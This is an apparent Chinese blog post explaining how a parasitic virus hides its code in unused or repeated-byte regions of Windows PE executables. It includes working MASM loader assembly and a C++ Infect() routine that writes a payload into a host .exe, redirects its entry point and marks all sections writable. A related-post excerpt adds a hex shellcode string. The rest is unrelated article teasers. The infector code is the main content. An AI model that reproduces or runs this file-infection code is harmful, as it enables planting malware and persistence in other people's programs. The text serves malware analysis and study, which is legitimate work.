有效利用PE文件内部空间植入用户程序

后门工厂BDF:PE文件植入技术原理与红队持久化实战 在网络安全领域,权限维持是渗透测试和后渗透阶段的核心挑战。传统的恶意代码植入方式容易被静态查杀和行为监控发现,因此需要更隐蔽的技术手段。PE文件结构作为Windows可执行文件的基础格式,其代码段中的空洞区域为隐蔽植入提供了可能。通过分析PE文件的节对齐机制和编译器行为,可以找到这些无意义的填充区域用于代码注入。这种技术能够绕过应用白名单和常规安全扫描,实现高隐蔽性的持久化访问。后门工厂正是基于这一原理,自动化完成空洞探测、Shellcode植入和结构修复的工具。在红队评估中,它特别适用于对抗严格白名单环境 阅读详情
【详细过程】
      寄生型(或者称为植入型)病毒程序将自身的可执行代码附加到宿主程序中,并修改宿主程序的入口地址。当操作系统
  执行宿主程序时,先执行的是病毒程序,随后才执行真正的宿主程序。
      最简单的寄生型病毒程序在宿主程序的尾部增加一个节,包含了全部的可执行病毒程序,但这会明显增加宿主程序的
  文件大小,极易被发现。随着对PE文件格式的深入了解,大家发现每个节的尾部有大量的富余空间可以利用,可以植入相当
  长的可执行代码,这主要是PE文件的节对齐(FileAlignment)所致。在程序执行时每个节都将被载入内存,实际的代码大小由
  各个节的VirtualSize所决定,但是由于提出了节对齐要求,PE文件中每个节的大小将会自动调整到FileAlignment的整数倍,
  当然这样做会导致每个节的实际大小大于代码的大小(碰巧相等的情况相当少见),多余的文件大小在操作系统加载PE文件时
  是无用的,因而可以充分利用这一特点,将可执行代码写入节与节之间的空隙(即补齐部分)。许多新型的病毒都是利用这一
  特点寄生在PE文件中,但是这一空间大小仍然很有限,更大一些的病毒程序代码则无法寄生了。
      本人通过仔细研究PE文件的内容,发现其内部仍有大量的空间可以用于代码植入。例如,程序内部定义变量是会产生大量
  的初始为0空间,尤其是定义数组时。以下面的数据定义为例,
      jumpaddr            dd          0
      hDaemon             dd          0        
      now_basein          dd          0
      byte_read           dd          0
      cDaemonName         db          50 dup(0)
      cSysdir             db          30 dup(0)
  程序文件产生的连续为0空间为96bytes,如果充分利用这一空间,对于提高寄生代码的长度非常有意义。当然需要寻找的空间
  并不一定要连续为0,也可以连续为别的数据。
      在执行宿主程序之前,寄生代码将潜伏在宿主中的可执行代码取出,生成完整的寄生程序,并恢复宿主原有的数据内容。
  实现这一设想的关键技术有以下几个:
      1、寻找宿主程序中的可用空间
      2、寄生代码在宿主程序中的数据结构
      3、寄生代码的重组
      4、宿主程序数据的恢复
  
   关键1的解决方法很简单:在宿主程序中寻找数据连续相等的位置,以byte为单位计算。
   关键2的解决方法要求信息完整,保证有效提取寄生程序,保证能够有效恢复原有数据。在这里采用如下的结构
   struct Header
   {
      BYTE  originData;
      DWORD DataLength;
      DWORD NextVirtualAddress;
   },共9 bytes.
   有了关键2的解决方法,关键3和4的解决就相对容易多了
   do NextVirtualAddress!=0
  {  
     Code = Code + NextVirtualAddress[0]~NextVirtualAddress[DataLength-1]
     NextVirtualAddress[0-8]~NextVirtualAddress[DataLength-1]=NextVirtualAddress[0]~NextVirtualAddress[-9]
  }
    具体的实现方法见源代码,里面还有许多具体的处理技巧。
  
    具体的处理过程如下:
    1、编写 Loader.asm,生成可执行文件,用PEid将Loader的关键节提取出来 loader.exe.section-3.dmp
    2、编写 daemon.cpp,生成可执行文件daemon.exe并用upx压缩,这样做无非就是想尽量缩减exe文件大小
    3、将daemon.exe和loader.exe.section-3.dmp拷贝只一个文件 copy /b daemon.exe + loader.exe.section-3.dmp ND.exe
    4、运行ND文件即可。
  
  ;**************************************************************
  ;*                                                            *
  ;*                        Loader.asm                          *
  ;*                                                            *
  '**************************************************************
  .386
  .model flat,stdcall
    option casemap:none
  
    include windows.inc
    include kernel32.inc
    include comctl32.inc
    include user32.inc
    include gdi32.inc
    include comdlg32.inc
    include shell32.inc  
  
    includelib gdi32.lib
    includelib kernel32.lib
    includelib comctl32.lib
    includelib user32.lib
    includelib comdlg32.lib
    includelib shell32.lib
  
  .code
      invoke ExitProcess,0
  ;主程序代码,Loader执行完后会转入此处,最终无用。
  
  
   Loader SEGMENT PARA USE32 "Loader"
      assume cs:Loader ,ds:Loader
   vstart:
      push ebp
      push esp
      call nstart
   nstart:    
  ;;;;;;;;;;;;;
      pop ebp
      sub ebp,offset nstart
  ;常用的一种方法。得到一个偏移差。
  ;程序后面用到的所有变量都需要加上个这偏移差
  ;------------------------------------(上面的)--
  
      mov now_basein[ebp],401000h
  ;   正确的程序入口,需要根据实际情况修改
      mov edi,401000h
  ;   数据提取地址,需要根据实际情况修改    
  ;------------------------------------(上面的)--
  
      push 50
      lea  eax, cSysdir[ebp]  ;Daemon
      push eax
      call vGetSystemDirectory
  
      mov eax, ebp
      add eax, ebx
      add eax, edi
      
      push eax
      lea  eax, cSysdir[ebp]  ;Daemon    
      push eax    
      lea  eax, cFmtstr[ebp]
      push eax
      lea  eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vwsprintf
      add esp,10h ;保证堆栈平衡
      
      push 0
      push FILE_ATTRIBUTE_NORMAL
      push Create_ALWAYS
      push 0
      push FILE_SHARE_READ+FILE_SHARE_WRITE
      push GENERIC_READ+GENERIC_WRITE
      lea eax, cDaemonName[ebp]  ;Daemon
      push eax
      call vCreateFile
  
      mov hDaemon[ebp],eax        
  ;打开文件Daemon
  ;------------------------------------(上面的)--
  
  ; originData   DataLength   NextAddress
  ;   1 db        1 dd          1 dd  
  
  loop_extract:
  
      mov esi, edi
      mov dh, byte ptr [esi]          ; dh - data to be restored
      mov ebx, dword ptr [esi+1]      ; ebx - DataLength
      mov edi, dword ptr [esi+5]      ; edi - NextAddress
      
      cmp ebx,0        ;DataLength=0,continue
      jle label_1
      
      cmp hDaemon[ebp],INVALID_HANDLE_VALUE
      jz label_1       ;跳过写Daemon,继续恢复数据  
  
      push edx
      push 0
      lea  eax,byte_read[ebp]
      push eax
      push ebx
      add  esi, 9
      push esi
      push hDaemon[ebp]
      call vWriteFile
  ;写数据
  ;---------------------------------------
      pop edx
      lea eax, vstart[ebp]
      cmp eax, esi
      jz  label_1  
  ;如果是Loader,不需要恢复原始数据
      
      add ebx,8
  loop_restore:    
      mov byte ptr [esi-9+ebx], dh
      dec ebx
      jnz loop_restore    
  ;恢复原始数据
  ;---------------------------------------
  
  label_1:
      cmp  edi, 0
      je   finish_read
      
  ; 下一段的入口地址NextAddress为0表示结束    
  ;--------------------------------------------
      jmp  loop_extract
          
  finish_read:
  
      push hDaemon[ebp]
      call vCloseHandle
      
      lea eax,cSysdir[ebp]
      push SW_SHOW
      push eax
      push eax
      lea  eax,cDaemonName[ebp]
      push eax
      lea  eax,cOpCode[ebp]
      push eax
      push NULL
      call vShellExecute
  ;打开提取出来的文件
  ;------------------------------------(上面的)--
  
  createfail:
  ;###########################################;
  ; 恢复寄存器,跳回原程序处  
  ;------------------------------------------
       mov eax,now_basein[ebp]
       pop esp
       pop ebp
       push eax
  ;-------< 做好返回原程序的准备 >-----------
  
      ret     ;返回主程序
  
  ;--------------------------
  ; 函数调用地址
  ;--------------------------
   vGetWindowsDirectory:
      mov jumpaddr[ebp],7C82293Bh
      jmp jumpaddr[ebp]
  ;00402004 >7C82293B  kernel32.GetWindowsDirectoryA
  
   vGetSystemDirectory:
      mov jumpaddr[ebp],7C814C63h
      jmp jumpaddr[ebp]
  ;00402004 >7C814C63  kernel32.GetSystemDirectoryA
      
   vGetCommandLine:
      mov jumpaddr[ebp],7C812C8Dh
      jmp jumpaddr[ebp]
  ;00402000 >7C812C8D  kernel32.GetCommandLineA
   vwsprintf:
      mov jumpaddr[ebp],77D1A2DEh
      jmp jumpaddr[ebp]
  ;00402010 >77D1A2DE  user32.wsprintfA
  
   vCreateFile:
      mov jumpaddr[ebp],7C801A24h
      jmp jumpaddr[ebp]
  ;00490628 >7C801A24  kernel32.CreateFileA
  
    vSetFilePointer:
      mov jumpaddr[ebp],7C810DA6h
      jmp jumpaddr[ebp]
   ;00490634 >7C810DA6  kernel32.SetFilePointer
  
    vReadFile:
      mov jumpaddr[ebp],7C80180Eh
      jmp jumpaddr[ebp]
  ;00490638 >7C80180E  kernel32.ReadFile
  
    vWriteFile:
      mov jumpaddr[ebp],7C810F9Fh
      jmp jumpaddr[ebp]
  ;0049061C >7C810F9F  kernel32.WriteFile
  
    vCloseHandle:
      mov jumpaddr[ebp],7C809B77h
      jmp jumpaddr[ebp]
  ;00490654 >7C809B77  kernel32.CloseHandle
  
    vMessageBox:
      mov jumpaddr[ebp],77D5050Bh
      jmp jumpaddr[ebp]
  ;00402008 >77D5050B  user32.MessageBoxA
  
   vGetSystemTime:
      mov jumpaddr[ebp],7C80176Bh
      jmp jumpaddr[ebp]
  ;00402000 >7C80176B  kernel32.GetSystemTime
  
    vExitProcess:
      mov jumpaddr[ebp],7C81CAA2h
      jmp jumpaddr[ebp]
      
  ;00490600 >7C81CAA2  kernel32.ExitProcess
    vShellExecute:
      mov jumpaddr[ebp],773EFE44h
      jmp jumpaddr[ebp]
  ;ds:[0040200C]=773EFE44 (shell32.ShellExecute)
  
  
  ;不同的WIN系统这里的地址是不同的。
  ;因此说并不是每个WIN系统都会传染的
  ;------------------------------------(上面的)--  
  
      ALIGN 4
      jumpaddr            dd          0
      hDaemon             dd          0        
      now_basein          dd          0
      byte_read           dd          0
      cOpCode             db          "open",0
      cDaemonName         db 50 dup(0)
      cSysdir             db 30 dup(0)
      cFmtstr      db "%s/%lX.exe"
  
   vend:
   Loader ends
  
  end vstart
  
  
  //**************************************************************
  //*                                                            *
  //*                       daemon.cpp                           *
  //*                                                            *
  //**************************************************************
  
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <SHELLAPI.H>
  struct SectionInfo
  {
    BYTE Flag;
    struct _CurrentPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    } CurrentPos;
    union __Length__
    {
      DWORD DataLength;
      DWORD FreeSpace;
    }Length;
    struct __NextPos__
    {
      DWORD RawAddress;
      DWORD VirtualAddress;
    }NextPos;
  };
     const int LoaderSize=567 ;  // loader.exe.section-3.dmp的大小
     const int DaemonSize=33280 ;// daemon.exe大小,如果压缩过,则应改为压缩后的文件大小
     const int ep=0x14;          // Loader.asm中 mov now_basein[ebp],401000h,401000h的二进制偏移
     const int head_size=9;      // 关键2中提出的数据结构大小
  
  
  
  bool Infect()
  {
    bool ret=true;
          char *HostName="c://target.exe";
    char *DataName="c://ND.exe";      //需要写入的数据 daemon+loader
    LONG e_lfanew;
    LONG PE_sig;
  
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
  
    struct SectionInfo  *mySecInfo;
  
    IMAGE_SECTION_HEADER  *SectionHeader;
    bool LoaderSecInfo;
    bool SuitableInject;
  
    HANDLE hHost,hData;
    unsigned int i,j;
    DWORD tmp;
    char cc;
    int cnt;
    unsigned int id=1;
    int FreeSpace=0;
  
    char  *data;
    char  *LoaderData,*DaemonData;
    DWORD bytes_write=0;
    DWORD bytes_read;
    DWORD LoaderSection=0xFF;
  
    mySecInfo=(struct SectionInfo *)GlobalAlloc(0,sizeof(SectionInfo)*2000);
    if(mySecInfo==NULL)
    {
  #ifdef _DEBUG
      printf("mySecInfo==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
    hHost=CreateFile(HostName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, NULL, NULL);
    hData=CreateFile(DataName, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_WRITE|FILE_SHARE_READ,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
    if(hHost==INVALID_HANDLE_VALUE || hData==INVALID_HANDLE_VALUE)
    {
  #ifdef _DEBUG
      printf("hHost==NULL || hData==NULL /n");
  #endif
      ret=false;
      goto exit_IO;
    }
  //读取PE入口地址
    SetFilePointer(hHost,0x3C,0,FILE_BEGIN);
    ReadFile(hHost,&e_lfanew,sizeof(e_lfanew),&bytes_read,0);
    SetFilePointer(hHost,e_lfanew,0,FILE_BEGIN);
    ReadFile(hHost,&PE_sig,sizeof(PE_sig),&bytes_read,0);
    if(PE_sig!=IMAGE_NT_SIGNATURE)
    {
  #ifdef _DEBUG
      printf("PE_sig!=IMAGE_NT_SIGNATURE/n");
  #endif
      ret=false;
      goto exit_IO;// not NT file
    }
    
    ReadFile(hHost,&FileHeader,sizeof(IMAGE_FILE_HEADER),&bytes_read,0);
    ReadFile(hHost,&OptionalHeader,sizeof(IMAGE_OPTIONAL_HEADER),&bytes_read,0);
  
    SectionHeader=(IMAGE_SECTION_HEADER *)GlobalAlloc(0,sizeof(IMAGE_SECTION_HEADER)*FileHeader.NumberOfSections);
    if(SectionHeader==NULL)
    {
  #ifdef _DEBUG
      printf("SectionHeader==NULL/n");
  #endif
      //system("pause");
      ret=false;
      goto exit_IO;
    }
  
    FreeSpace=0;
    //printf("FileHeader.NumberOfSections= %x/n",FileHeader.NumberOfSections);
    
    //读取各Section的信息
    for(i=0;i<FileHeader.NumberOfSections;i++)
      ReadFile(hHost,&SectionHeader[i],sizeof(IMAGE_SECTION_HEADER),&bytes_read,0);
  
    //寻找可以写入Daemon和Loader的空间
    LoaderSecInfo=false;
    SuitableInject=false;
  
    id=1;
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      //优先寻找存放Loader的空间
      if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+head_size)
      {
        mySecInfo[0].Length.DataLength=LoaderSize;
        mySecInfo[0].Flag=0;
        mySecInfo[0].NextPos.RawAddress=0;
        mySecInfo[0].NextPos.VirtualAddress=0;
        mySecInfo[0].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+
                          SectionHeader[i].Misc.VirtualSize+OptionalHeader.ImageBase;
        mySecInfo[0].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+SectionHeader[i].Misc.VirtualSize;
        LoaderSecInfo=true;
        LoaderSection=i;
        if(SectionHeader[i].SizeOfRawData>SectionHeader[i].Misc.VirtualSize+LoaderSize+0x60) //如果存放Loader后仍有空间,继续存放Daemon
        {
          id=1;
          mySecInfo[id].Length.DataLength=SectionHeader[i].SizeOfRawData-SectionHeader[i].Misc.VirtualSize
                                               -LoaderSize-head_size*2;
          mySecInfo[id].Flag=0;
          mySecInfo[id].CurrentPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress
                                                +mySecInfo[0].Length.DataLength+head_size;
          mySecInfo[id].CurrentPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress
                                             +mySecInfo[0].Length.DataLength+head_size;
          FreeSpace+=mySecInfo[id].Length.DataLength;
          id+=1;
        }
        break;
      }
    }
    if(!LoaderSecInfo)
    {
  #ifdef _DEBUG
      printf("LoaderSecInfo==NULL/n");
  #endif
      ret=false;
      goto exit_IO;
    }
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      if(SectionHeader[i].SizeOfRawData<SectionHeader[i].Misc.VirtualSize)
        continue;
      data=(char *)GlobalAlloc(0,SectionHeader[i].SizeOfRawData);
      if(data==NULL)
      {
  #ifdef _DEBUG
        printf("data==NULL/n");
  #endif
        //system("pause");
        ret=false;
        goto exit_IO;
      }
  
      SetFilePointer(hHost,SectionHeader[i].PointerToRawData,0,FILE_BEGIN);
      if(i==LoaderSection)
        bytes_read=SectionHeader[i].Misc.VirtualSize;
      else
        bytes_read=SectionHeader[i].SizeOfRawData;
      ReadFile(hHost,data,bytes_read,&tmp,0);
  
      cc=data[0];
      cnt=1;
      mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+OptionalHeader.ImageBase;
      mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData;
  
      for(j=1;j<bytes_read;j++)
      {
        if(data[j]==cc)
          cnt+=1;
        else
        {
          if(cnt>0x50) //可以用于数据存放的空间长度下限
          {
            mySecInfo[id].Flag=cc;
            mySecInfo[id].Length.DataLength=cnt-head_size;
            FreeSpace+=mySecInfo[id].Length.DataLength;
            id+=1;
            if(FreeSpace>=DaemonSize)
            {
              mySecInfo[id-1].Length.DataLength-=(FreeSpace-DaemonSize);
              mySecInfo[id-1].NextPos.RawAddress=mySecInfo[0].CurrentPos.RawAddress;
              mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[0].CurrentPos.VirtualAddress;
              SuitableInject=true;
              GlobalFree(data);
              i=0xFFFFFFF;
              j=0xFFFFFFF;
              break;
            }
          }
          cc=data[j];
          cnt=1;
          mySecInfo[id].CurrentPos.VirtualAddress=SectionHeader[i].VirtualAddress+j+OptionalHeader.ImageBase;
          mySecInfo[id].CurrentPos.RawAddress=SectionHeader[i].PointerToRawData+j;
          mySecInfo[id-1].NextPos.RawAddress=mySecInfo[id].CurrentPos.RawAddress;
          mySecInfo[id-1].NextPos.VirtualAddress=mySecInfo[id].CurrentPos.VirtualAddress;
        }
      }
      if(data!=NULL)
        GlobalFree(data);
  //    printf("/t/tFreeSpace: %x/n",FreeSpace);
  //    system("pause");
    }
  
  #ifdef _DEBUG
    printf("=======================================/n");
  #endif
    //printf("LoaderSize =  0x%x  /n",LoaderSize);
    //printf("FreeSpace  =  0x%x  /n",FreeSpace);
    //printf("DaemonSize =  0x%x  /n",DaemonSize);
    //system("pause");
  
    if(!LoaderSecInfo || !SuitableInject)
    {
      ret=false;
      goto exit_IO;
    }
  #ifdef _DEBUG
    
    for(j=1;j<=id-1;j++)
    {
      printf("/t/tIndex: %x/n",j);
      printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
      printf("/t/tVirtualAddress: %x/n",mySecInfo[j].CurrentPos.VirtualAddress);
      printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
      printf("/t/tData: %x/n",mySecInfo[j].Flag);
      printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
      printf("/n");    
    }
    j=0;
    printf("/t/tIndex: %x/n",j);
    printf("/t/tFreeSpace: %x/n",mySecInfo[j].Length.DataLength);
    printf("/t/tVirtualAddress: %x/n",mySecInfo[j].CurrentPos.VirtualAddress);
    printf("/t/tRawAddress: %x/n",mySecInfo[j].CurrentPos.RawAddress);
    printf("/t/tData: %x/n",mySecInfo[j].Flag);
    printf("/t/tNextPos: %x/n",mySecInfo[j].NextPos);
    printf("/n");    
    system("pause");
  #endif
    DaemonData=(char*)GlobalAlloc(0,DaemonSize);
    if(DaemonData==NULL)
    {
      ret=false;
      goto exit_IO;
    }  
    LoaderData=(char*)GlobalAlloc(0,LoaderSize);
    if(LoaderData==NULL)
    {
      GlobalFree(DaemonData);
      ret=false;
      goto exit_IO;
    }
  
    ReadFile(hData,DaemonData,DaemonSize,&bytes_read,0);
    ReadFile(hData,LoaderData,LoaderSize,&bytes_read,0);
    data=DaemonData;
    //写入Daemon,(DataFlag,DataLength,Next_VirtualAddress,共9个字节)
    for(j=1;j<=id-1;j++)
    {
      SetFilePointer(hHost,mySecInfo[j].CurrentPos.RawAddress,0,FILE_BEGIN);
      WriteFile(hHost,&mySecInfo[j].Flag,1,&tmp,0);
      //WriteFile(hHost,&mySecInfo[j].CurrentPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].Length.DataLength,4,&tmp,0);
      WriteFile(hHost,&mySecInfo[j].NextPos.VirtualAddress,4,&tmp,0);
      WriteFile(hHost,data,mySecInfo[j].Length.DataLength,&tmp,0);
      data+=mySecInfo[j].Length.DataLength;
    }
  
    data=LoaderData;
    //在Loader中填写Host的原始EntryPoint
    tmp=OptionalHeader.AddressOfEntryPoint+OptionalHeader.ImageBase;
    data[ep  ]=(char)(tmp&0x000000ff);
    data[ep+1]=(char)((tmp&0x0000ff00)>>8);
    data[ep+2]=(char)((tmp&0x00ff0000)>>16);
    data[ep+3]=(char)((tmp&0xff000000)>>24);
          
          //在Loader中填写Daemon的第一段数据偏移地址
    tmp=mySecInfo[1].CurrentPos.VirtualAddress;
    data[ep+5]=(char)(tmp&0x000000ff);
    data[ep+6]=(char)((tmp&0x0000ff00)>>8);
    data[ep+7]=(char)((tmp&0x00ff0000)>>16);
    data[ep+8]=(char)((tmp&0xff000000)>>24);
  
    SetFilePointer(hHost,mySecInfo[0].CurrentPos.RawAddress,0,FILE_BEGIN);
    WriteFile(hHost,&mySecInfo[0].Flag,1,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].Length.DataLength,4,&tmp,0);
    WriteFile(hHost,&mySecInfo[0].NextPos.VirtualAddress,4,&tmp,0);
    WriteFile(hHost,data,mySecInfo[0].Length.DataLength,&tmp,0);
  
    GlobalFree(DaemonData);
    GlobalFree(LoaderData);
  
    //OptionalHeader的+16位置为EntryPoint
    SetFilePointer(hHost,e_lfanew+sizeof(PE_sig)+sizeof(IMAGE_FILE_HEADER)+16,0,FILE_BEGIN);
    tmp=mySecInfo[0].CurrentPos.VirtualAddress-OptionalHeader.ImageBase+9; //第9个字节为可执行代码
    WriteFile(hHost,&tmp,4,&bytes_write,0); //改写EntryPoint
  
    //将Section属性改为可读和可写
    SetFilePointer(hHost,e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)
        ,0,FILE_BEGIN);
    for(i=0;i<FileHeader.NumberOfSections;i++)
    {
      SectionHeader[i].Characteristics=SectionHeader[i].Characteristics|0x40000000|0x80000000;
      WriteFile(hHost,&(SectionHeader[i]),sizeof(IMAGE_SECTION_HEADER),&tmp,0);
    }
    GlobalFree(SectionHeader);
    GlobalFree(mySecInfo);
  #ifdef _DEBUG
    printf("OK!/n");
  #endif
    ret=true;
  exit_IO:
    CloseHandle(hHost);
    CloseHandle(hData);
    return ret;
  }
  
  
  
  在研究过程中参考了BadDay病毒、看雪论坛出的PE文件格式研究,在此向所有作者表示感谢。
  出于安全考虑此处就不贴出完整的源代码和编译好的程序,对病毒有兴趣的朋友可以私下交流研究
pe植入shellcode shellcode是一个弹窗,为: fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd66 阅读详情

相关推荐

利用微PE工具箱进行电脑装机,制作最纯净的PE安装系统

在系统安装和维护的过程中,一款PE系统维护工具是十分必要的,将它制作成U盘,就可以应付大多电脑故障。PE是Preinstallation Environment的简称,即预安装环境,可以将PE理解为Windows系统的“超级精简、超级权限版”。

m0_46100784的博客 1万+

PE格式文件的代码注入

 PE格式文件的代码注入   本文演示了在不需要重新编译源代码的情况下,怎样向Windows PE(Portable Executable)格式的文件(包括EXE、DLL、OCX)中注入自己的代码。 程序如图:         前言       或许,你想了解一个病毒程序是怎样把自身注入到一个正常的PE文件中的,又或者是,你为了保护某种数据而加密自己的P

谢启东的专栏 8399

向PE文件中添加ShellCode

最烦打代码了,但是貌似代码是最高效的方式……之前手动往PE文件中注入代码添加ShellCode,最近手动往PE文件中注入代码,貌似就是捆绑吧………………1------------------------------------------正题分割线------------------------------------------   工具:一个想添加ShellCode的程序,VS2013步骤为V...

LittleCracker的博客 2049

c语言编辑一个新文件,用C语言给PE文件添加一个新 section

#include #ifndef _IMAGEHLP_H#include "imagehlp.h"#pragma comment ( lib, "imagehlp.lib" )#endif#pragma warning(disable : 4996)// 根据传入的dwAlign粒度调整内存中或文件中对齐后的大小DWORD Align(DWORD dwNum, DWORD dwAlign){if ...

weixin_39715348的博客 387

PE内置软件添加工具

PE内置软件添加工具 ,可以把一些自己的工具添加到PE里 PE内置软件添加工具 ,可以把一些自己的工具添加到PE里 PE内置软件添加工具 ,可以把一些自己的工具添加到PE里

随机截距交叉滞后模型RI-CLPM:原理、Mplus实现与结果解读

纵向面板数据分析中,传统交叉滞后模型(CLPM)常被用于探索变量间的时序关系,但其估计结果可能混淆了个体间稳定差异与个体内短期波动,导致交叉滞后路径出现偏差。随机截距交叉滞后模型(RI-CLPM)通过引入随机截距因子,将个体特质层面的差异与个体内动态过程分离,从而提供更纯净的个体内效应估计。该模型在组织心理学、发展心理学、成瘾行为等研究领域迅速普及,并成为顶级期刊审稿时常见的稳健性检验要求。本文从原理出发,系统讲解RI-CLPM的模型构建、识别条件、Mplus实操代码、输出解读及常见陷阱,并结合协变量处理、

weixin_33525298的博客 283

PE文件:节表-添加节

在所有节的空白区域都不够存放我们想要添加的数据时,这个时候可以通过添加节来扩展我们可操作的空间去存储新的数据(如导入表、代码或资源)。

WolvenSec的博客 1484

Labview_DQMH框架学习1--浅析

本文主要结合一个相对容易理解的例子,阐述 DQMH 框架的工作原理,希望对初学者有一定的帮助。

hrbeuxn的博客 3053

Pe研究之:从内存中加载Pe文件(代码重定位,进程隐藏,代码注入)

<br />Pe研究之:<br /> <br />从内存中加载Pe文件<br /> <br />作者:Sunline              lisunlin0@yahoo.com.cn 日期:2007年7月<br />关键字:代码重定位,代码注入,远程代码, 加载exe文件, 加载dll文件<br />Remotthread, injectcode, relocation code, load dll from memory, load pe from memory load pe from memor

mergerly的专栏 5198

利用ArcGIS创建渔网计算渔网内土地利用占比划分中国北方农牧交错带

依据土地利用数据,根据参考文献划分要求,利用ArcGIS创建渔网对地物进行重分类,划分农业带、牧业带以及农牧交错带。

m0_60672527的博客 3061

保姆级教程:用vxe-grid给管理后台加个「智能筛选」功能(支持模糊搜索/多选/范围查询)

本文提供了一份详细的Vxe-Grid智能筛选功能实现教程。通过自定义筛选器渲染,文章逐步指导开发者为后台管理系统添加支持模糊搜索、多选下拉和数值范围查询的智能筛选功能,并分享了性能优化与移动端适配等实战经验。

weixin_29021291的博客 536

PE文件结构详解精华(从头看下去就能大概了解PE文件结构了)

前言 此博客绝大部分内容来自云课堂武大慕课《软件安全-恶意代码机理与防护》。 内容提纲 PE文件及其表现形式 PE文件格式与恶意软件的关系 PE文件格式总体结构 代码节与数据节 引入函数节:PE文件的引入函数机制 引出函数节:DLL文件的函数引出机制 资源节:文件资源索引、定位与修改 重定位节:镜像地址改变后的地址自动修正 PE文件及其表现形式 可移植的可执行文件(PE,Portable...

雨化于画 1万+

告别I2C和SPI:用FPGA驱动DS18B20,一根线搞定温度采集(附Verilog代码)

本文详细介绍了如何利用FPGA通过单总线协议(One-Wire)驱动DS18B20温度传感器,仅用一根数据线实现高效温度采集。内容涵盖协议解析、Verilog代码实现及调试技巧,帮助开发者节省IO资源并提升系统性能。

weixin_42696271的博客 392

【免杀对抗】PE文件植入后门之CodeCave

Code Cave(代码洞穴)是一种隐蔽的PE文件后门植入技术。它利用编译器在PE文件中生成的未使用字节区域,如对齐填充、节区间隙,注入恶意代码而不增加文件体积,从而某些场景下规避静态检测

PEIWIN的博客 1181

解密携程风控:user-dun算法中的自定义base64与多模式加密机制剖析

本文深入剖析了携程旅行APP风控核心组件libduncode.so中的user-dun算法。文章重点解密了其采用的自定义Base64编码机制与多模式加密选择逻辑,并详细阐述了如何通过动态分析与静态还原,理解算法与设备指纹的深度绑定关系,为逆向分析类似混淆加固的风控算法提供了系统的方法论。

weixin_29323049的博客 340

VIIRS-NPP夜间灯光遥感数据下载和预处理

右侧搜索框搜索“按掩膜提取”,提取出夜光影像中国区域。将其转换为Albers积投影和重采样到400m。点击右上角Export,选择shp格式。最后点export导出就行。点击复制按钮,来到这个。,ctrl + v粘贴。将小于0.3的值置为0。下载好月合成产品后,

热爱分享,热爱记录 1万+

PE文件格式分析及修改

PE 的意思是 Portable Executable(可移植的执行体),它是 Win32环境自身所带的执行文件格式。在Win32系统中,PE文件可以认为.exe、.dll、.sys 、.scr类型的文件,这些文件在磁盘上存贮的格式都是有一定规律的。   PE 的意思是 Portable Executable(可移植的执行体)。它是 Win32环境自身所带的执行文件格式。它的一些特性继

记录生活,为了回忆 1658

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

PE文件(一)PE结构概述

同一份文件在内存中和在硬盘中的内容是一样的,但是他们文件内存起始位置是不一样的,它们分节之间的空白区域大小是一样的,这似乎与我们之前所作的文件硬盘与内存分布图有所不同,这是由于对齐的机制。我们之前在找DOS头时,DOS头以0x000000e0结尾, 指向了左侧地址e0的地方,从图中可知,e0的地方有5045,在最右侧有PE文字,这也正好说明了此处是pe文件真正开始的地方,即NP头开始,但这个e0并不是一直固定的。每一个节,都有一个对应的节表(图中块表)用于记录节的相关信息,如每一个节的概要性信息。

2301_78838647的博客 3015

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

PE-sieve实战教程:5种常见内存植入物检测与dump技巧

在当今复杂的网络安全环境中,内存植入物已成为恶意软件常用的攻击手段。PE-sieve作为一款强大的开源内存扫描工具,能够精准识别并dump多种潜在恶意植入物,包括替换/注入的PE文件、shellcode、钩子和内存补丁等。本文将通过实战案例,详细介绍PE-sieve的5种核心应用技巧,帮助安全分析师快速掌握内存威胁检测与响应能力。 [![PE-sieve内存安全检测工具](https://raw

gitblog_00104的博客 1066

免杀的艺术:PE文件后门的植入(二)

